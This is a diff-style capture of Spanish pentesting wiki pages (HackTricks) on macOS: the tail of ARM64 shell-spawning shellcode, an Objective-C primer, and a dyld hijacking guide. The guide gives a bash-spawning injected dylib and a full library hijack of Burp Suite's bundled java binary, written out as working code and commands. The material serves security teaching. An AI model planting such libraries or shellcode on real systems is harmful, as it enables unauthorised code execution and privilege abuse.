sub sp, sp, #64 ; Allocate space on the stack
|
||||
mov x1, sp ; x1 will hold the address of the argument array
|
||||
adr x0, sh_path
|
||||
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
|
||||
adr x0, sh_c_option ; Get the address of "-c"
|
||||
str x0, [x1, #8] ; Store the address of "-c" as the second argument
|
||||
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
|
||||
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
|
||||
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
|
||||
|
||||
adr x0, sh_path
|
||||
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
|
||||
mov x16, #59 ; Load the syscall number for execve (59) into x8
|
||||
svc 0 ; Make the syscall
|
||||
|
||||
|
||||
_exit:
|
||||
mov x16, #1 ; Load the syscall number for exit (1) into x8
|
||||
mov x0, #0 ; Set exit status code to 0
|
||||
svc 0 ; Make the syscall
|
||||
|
||||
_loop: b _loop
|
||||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
.align 2
|
||||
sh_c_option: .asciz "-c"
|
||||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,365 @@
|
|||
# macOS Basic Objective-C
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Objective-C
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que los programas escritos en Objective-C **mantienen** sus declaraciones de clase **cuando** se compilan en [binarios Mach-O](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Estas declaraciones de clase **incluyen** el nombre y tipo de:
|
||||
{% endhint %}
|
||||
|
||||
* La clase
|
||||
* Los métodos de clase
|
||||
* Las variables de instancia de clase
|
||||
|
||||
Puedes obtener esta información usando [**class-dump**](https://github.com/nygard/class-dump):
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
Nota que estos nombres podrían estar obfuscados para hacer la reversión del binario más difícil.
|
||||
|
||||
## Clases, Métodos y Objetos
|
||||
|
||||
### Interfaz, Propiedades y Métodos
|
||||
```objectivec
|
||||
// Declare the interface of the class
|
||||
@interface MyVehicle : NSObject
|
||||
|
||||
// Declare the properties
|
||||
@property NSString *vehicleType;
|
||||
@property int numberOfWheels;
|
||||
|
||||
// Declare the methods
|
||||
- (void)startEngine;
|
||||
- (void)addWheels:(int)value;
|
||||
|
||||
@end
|
||||
```
|
||||
### **Clase**
|
||||
```objectivec
|
||||
@implementation MyVehicle : NSObject
|
||||
|
||||
// No need to indicate the properties, only define methods
|
||||
|
||||
- (void)startEngine {
|
||||
NSLog(@"Engine started");
|
||||
}
|
||||
|
||||
- (void)addWheels:(int)value {
|
||||
self.numberOfWheels += value;
|
||||
}
|
||||
|
||||
@end
|
||||
```
|
||||
### **Objeto y Método de Llamada**
|
||||
|
||||
Para crear una instancia de una clase se llama al método **`alloc`** que **asigna memoria** para cada **propiedad** y **pone a cero** esas asignaciones. Luego se llama a **`init`**, que **inicializa las propiedades** con los **valores requeridos**.
|
||||
```objectivec
|
||||
// Something like this:
|
||||
MyVehicle *newVehicle = [[MyVehicle alloc] init];
|
||||
|
||||
// Which is usually expressed as:
|
||||
MyVehicle *newVehicle = [MyVehicle new];
|
||||
|
||||
// To call a method
|
||||
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
|
||||
[newVehicle addWheels:4];
|
||||
```
|
||||
### **Métodos de Clase**
|
||||
|
||||
Los métodos de clase se definen con el **signo más** (+) y no con el guión (-) que se utiliza con los métodos de instancia. Como el método de clase **`stringWithString`** de la clase **NSString**:
|
||||
```objectivec
|
||||
+ (id)stringWithString:(NSString *)aString;
|
||||
```
|
||||
### Setter y Getter
|
||||
|
||||
Para **establecer** y **obtener** propiedades, se puede hacer con una **notación de punto** o como si se estuviera **llamando a un método**:
|
||||
```objectivec
|
||||
// Set
|
||||
newVehicle.numberOfWheels = 2;
|
||||
[newVehicle setNumberOfWheels:3];
|
||||
|
||||
// Get
|
||||
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
|
||||
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
|
||||
```
|
||||
### **Variables de instancia**
|
||||
|
||||
Como alternativa a los métodos setter y getter, se pueden utilizar variables de instancia. Estas variables tienen el mismo nombre que las propiedades, pero comienzan con un "\_":
|
||||
```objectivec
|
||||
- (void)makeLongTruck {
|
||||
_numberOfWheels = +10000;
|
||||
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
|
||||
}
|
||||
```
|
||||
### Protocolos
|
||||
|
||||
Los protocolos son un conjunto de declaraciones de métodos (sin propiedades). Una clase que implementa un protocolo implementa los métodos declarados.
|
||||
|
||||
Existen 2 tipos de métodos: **obligatorios** y **opcionales**. Por **defecto**, un método es **obligatorio** (pero también se puede indicar con una etiqueta **`@required`**). Para indicar que un método es opcional, use **`@optional`**.
|
||||
```objectivec
|
||||
@protocol myNewProtocol
|
||||
- (void) method1; //mandatory
|
||||
@required
|
||||
- (void) method2; //mandatory
|
||||
@optional
|
||||
- (void) method3; //optional
|
||||
@end
|
||||
```
|
||||
### Todo junto
|
||||
```objectivec
|
||||
// gcc -framework Foundation test_obj.m -o test_obj
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@protocol myVehicleProtocol
|
||||
- (void) startEngine; //mandatory
|
||||
@required
|
||||
- (void) addWheels:(int)value; //mandatory
|
||||
@optional
|
||||
- (void) makeLongTruck; //optional
|
||||
@end
|
||||
|
||||
@interface MyVehicle : NSObject <myVehicleProtocol>
|
||||
|
||||
@property int numberOfWheels;
|
||||
|
||||
- (void)startEngine;
|
||||
- (void)addWheels:(int)value;
|
||||
- (void)makeLongTruck;
|
||||
|
||||
@end
|
||||
|
||||
@implementation MyVehicle : NSObject
|
||||
|
||||
- (void)startEngine {
|
||||
NSLog(@"Engine started");
|
||||
}
|
||||
|
||||
- (void)addWheels:(int)value {
|
||||
self.numberOfWheels += value;
|
||||
}
|
||||
|
||||
- (void)makeLongTruck {
|
||||
_numberOfWheels = +10000;
|
||||
NSLog(@"Number of wheels: %i", self.numberOfWheels);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main() {
|
||||
MyVehicle* mySuperCar = [MyVehicle new];
|
||||
[mySuperCar startEngine];
|
||||
mySuperCar.numberOfWheels = 4;
|
||||
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
|
||||
[mySuperCar setNumberOfWheels:3];
|
||||
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
|
||||
[mySuperCar makeLongTruck];
|
||||
}
|
||||
```
|
||||
### Clases Básicas
|
||||
|
||||
#### String
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
// NSString
|
||||
NSString *bookTitle = @"The Catcher in the Rye";
|
||||
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
|
||||
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Las clases básicas son **inmutables**, por lo que para agregar una cadena a una existente, se necesita **crear una nueva NSString**.
|
||||
```objectivec
|
||||
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
También se puede utilizar una clase de cadena **mutable**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
|
||||
[mutableString appendString:bookTitle];
|
||||
[mutableString appendString:@" was written by "];
|
||||
[mutableString appendString:bookAuthor];
|
||||
[mutableString appendString:@" and published in "];
|
||||
[mutableString appendString:bookPublicationYear];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Número
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
// character literals.
|
||||
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
|
||||
|
||||
// integral literals.
|
||||
NSNumber *fortyTwo = @42; // equivalent to [NSNumber numberWithInt:42]
|
||||
NSNumber *fortyTwoUnsigned = @42U; // equivalent to [NSNumber numberWithUnsignedInt:42U]
|
||||
NSNumber *fortyTwoLong = @42L; // equivalent to [NSNumber numberWithLong:42L]
|
||||
NSNumber *fortyTwoLongLong = @42LL; // equivalent to [NSNumber numberWithLongLong:42LL]
|
||||
|
||||
// floating point literals.
|
||||
NSNumber *piFloat = @3.141592654F; // equivalent to [NSNumber numberWithFloat:3.141592654F]
|
||||
NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:3.1415926535]
|
||||
|
||||
// BOOL literals.
|
||||
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
|
||||
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Arreglos, Conjuntos y Diccionarios
|
||||
```objectivec
|
||||
// Inmutable arrays
|
||||
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
|
||||
NSArray *colorsArray2 = @[@"yellow", @"cyan", @"magenta"];
|
||||
NSArray *colorsArray3 = @[firstColor, secondColor, thirdColor];
|
||||
|
||||
// Mutable arrays
|
||||
NSMutableArray *mutColorsArray = [NSMutableArray array];
|
||||
[mutColorsArray addObject:@"red"];
|
||||
[mutColorsArray addObject:@"green"];
|
||||
[mutColorsArray addObject:@"blue"];
|
||||
[mutColorsArray addObject:@"yellow"];
|
||||
[mutColorsArray replaceObjectAtIndex:0 withObject:@"purple"];
|
||||
|
||||
// Sets
|
||||
NSSet *fruitsSet1 = [NSSet setWithObjects:@"apple", @"banana", @"orange", nil];
|
||||
NSSet *fruitsSet2 = [NSSet setWithArray:@[@"apple", @"banana", @"orange"]];
|
||||
|
||||
// Inmutable sets
|
||||
NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @"orange", nil];
|
||||
[mutFruitsSet addObject:@"grape"];
|
||||
[mutFruitsSet removeObject:@"apple"];
|
||||
|
||||
|
||||
// Dictionary
|
||||
NSDictionary *fruitColorsDictionary = @{
|
||||
@"apple" : @"red",
|
||||
@"banana" : @"yellow",
|
||||
@"orange" : @"orange",
|
||||
@"grape" : @"purple"
|
||||
};
|
||||
|
||||
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
|
||||
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
|
||||
@"red", @"apple",
|
||||
@"yellow", @"banana",
|
||||
@"orange", @"orange",
|
||||
@"purple", @"grape",
|
||||
nil];
|
||||
|
||||
// Mutable dictionary
|
||||
NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryWithDictionary:fruitColorsDictionary];
|
||||
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
|
||||
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Bloques
|
||||
|
||||
Los bloques son **funciones que se comportan como objetos**, por lo que pueden ser pasados a funciones o **almacenados** en **arrays** o **dictionaries**. Además, pueden **representar un valor si se les dan valores**, por lo que es similar a las lambdas.
|
||||
```objectivec
|
||||
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
|
||||
//Perform operations here
|
||||
};
|
||||
|
||||
// For example
|
||||
|
||||
int (^suma)(int, int) = ^(int a, int b){
|
||||
return a+b;
|
||||
};
|
||||
NSLog(@"3+4 = %d", suma(3,4));
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
También es posible **definir un tipo de bloque para ser utilizado como parámetro** en funciones:
|
||||
```objectivec
|
||||
// Define the block type
|
||||
typedef void (^callbackLogger)(void);
|
||||
|
||||
// Create a bloack with the block type
|
||||
callbackLogger myLogger = ^{
|
||||
NSLog(@"%@", @"This is my block");
|
||||
};
|
||||
|
||||
// Use it inside a function as a param
|
||||
void genericLogger(callbackLogger blockParam) {
|
||||
NSLog(@"%@", @"This is my function");
|
||||
blockParam();
|
||||
}
|
||||
genericLogger(myLogger);
|
||||
|
||||
// Call it inline
|
||||
genericLogger(^{
|
||||
NSLog(@"%@", @"This is my second block");
|
||||
});
|
||||
```
|
||||
### Archivos
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
// Manager to manage files
|
||||
NSFileManager *fileManager = [NSFileManager defaultManager];
|
||||
|
||||
// Check if file exists:
|
||||
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
|
||||
NSLog (@"File exists");
|
||||
}
|
||||
|
||||
// copy files
|
||||
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
|
||||
NSLog (@"Copy successful");
|
||||
}
|
||||
|
||||
// Check if the content of 2 files match
|
||||
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
|
||||
NSLog (@"File contents match");
|
||||
}
|
||||
|
||||
// Delete file
|
||||
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
|
||||
NSLog(@"Removed successfully");
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
También es posible administrar archivos **usando objetos `NSURL` en lugar de objetos `NSString`**. Los nombres de los métodos son similares, pero **con `URL` en lugar de `Path`**.
|
||||
```objectivec
|
||||
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
|
||||
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
|
||||
[fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil];
|
||||
```
|
||||
La mayoría de las clases básicas tienen definido un método `writeToFile:<path> atomically:<YES> encoding:<encoding> error:nil` que les permite ser escritas directamente en un archivo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
NSString* tmp = @"something temporary";
|
||||
[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,217 @@
|
|||
## macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Ejemplo básico de DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
**Librería para inyectar** y ejecutar una shell:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
#include <syslog.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
__attribute__((constructor))
|
||||
|
||||
void myconstructor(int argc, const char **argv)
|
||||
{
|
||||
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||||
printf("[+] dylib injected in %s\n", argv[0]);
|
||||
execv("/bin/bash", 0);
|
||||
}
|
||||
```
|
||||
Binario a atacar:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
printf("Hello, World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Inyección:
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Ejemplo de Secuestro de Dyld
|
||||
|
||||
El binario vulnerable objetivo es `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java`.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="LC_RPATH" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep LC_RPATH -A 2
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/. (offset 12)
|
||||
--
|
||||
cmd LC_RPATH
|
||||
cmdsize 32
|
||||
path @loader_path/../lib (offset 12)
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="@loader_path" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check librareis loaded using @rapth and the used versions
|
||||
otool -l "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" | grep "@rpath" -A 3
|
||||
name @rpath/libjli.dylib (offset 24)
|
||||
time stamp 2 Thu Jan 1 01:00:02 1970
|
||||
current version 1.0.0
|
||||
compatibility version 1.0.0
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements" %}
|
||||
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java"
|
||||
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Con la información anterior sabemos que **no está verificando la firma de las bibliotecas cargadas** y está **intentando cargar una biblioteca desde**:
|
||||
|
||||
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
|
||||
* `/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib`
|
||||
|
||||
Sin embargo, la primera no existe:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/Burp Suite Professional.app
|
||||
|
||||
find ./ -name libjli.dylib
|
||||
./Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib
|
||||
./Contents/Resources/jre.bundle/Contents/MacOS/libjli.dylib
|
||||
```
|
||||
¡Así que es posible secuestrarlo! Crea una biblioteca que **ejecute algún código arbitrario y exporte las mismas funcionalidades** que la biblioteca legítima reexportándola. Y recuerda compilarla con las versiones esperadas:
|
||||
|
||||
{% code title="libjli.m" %}
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
__attribute__((constructor))
|
||||
void custom(int argc, const char **argv) {
|
||||
NSLog(@"[+] dylib hijacked in %s",argv[0]);
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Compílalo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation libjli.m -Wl,-reexport_library,"/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" -o libjli.dylib
|
||||
# Note the versions and the reexport
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
La ruta de reexportación creada en la biblioteca es relativa al cargador, cambiémosla por una ruta absoluta a la biblioteca a exportar:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
#Check relative
|
||||
otool -l libjli.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 48
|
||||
name @rpath/libjli.dylib (offset 24)
|
||||
|
||||
#Change to absolute to the location of the library
|
||||
install_name_tool -change @rpath/libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib" libjli.dylib
|
||||
|
||||
# Check again
|
||||
otool -l libjli.dylib| grep REEXPORT -A 2
|
||||
cmd LC_REEXPORT_DYLIB
|
||||
cmdsize 128
|
||||
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Finalmente, simplemente cópielo a la **ubicación secuestrada**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
cp libjli.dylib "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/libjli.dylib"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Y **ejecuta** el binario y comprueba que la **biblioteca se ha cargado**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">./java
|
||||
<strong>2023-05-15 15:20:36.677 java[78809:21797902] [+] dylib hijacked in ./java
|
||||
</strong>Usage: java [options] <mainclass> [args...]
|
||||
(para ejecutar una clase)
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
Se puede encontrar un buen artículo sobre cómo aprovechar esta vulnerabilidad para abusar de los permisos de la cámara de Telegram en [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
{% endhint %}
|
||||
|
||||
## Escala mayor
|
||||
|
||||
Si planeas intentar inyectar bibliotecas en binarios inesperados, puedes comprobar los mensajes de eventos para averiguar cuándo se carga la biblioteca dentro de un proceso (en este caso, elimina el printf y la ejecución de `/bin/bash`).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
## Verificar restricciones
|
||||
|
||||
### SUID y SGID
|
||||
```bash
|
||||
# Make it owned by root and suid
|
||||
sudo chown root hello
|
||||
sudo chmod +s hello
|
||||
# Insert the library
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
|
||||
# Remove suid
|
||||
sudo chmod -s hello
|
||||
```
|
||||
### Sección `__RESTRICT` con segmento `__restrict`
|
||||
```bash
|
||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||
```
|
||||
### Tiempo de ejecución endurecido
|
||||
|
||||
Cree un nuevo certificado en el Keychain y úselo para firmar el binario:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
codesign -s <cert-name> --option=runtime ./hello
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
|
||||
codesign -f -s <cert-name> --option=library ./hello
|
||||
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Will throw an error because signature of binary and library aren't signed by same cert
|
||||
|
||||
codesign -s <cert-name> inject.dylib
|
||||
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed #Throw an error because an Apple dev certificate is needed
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
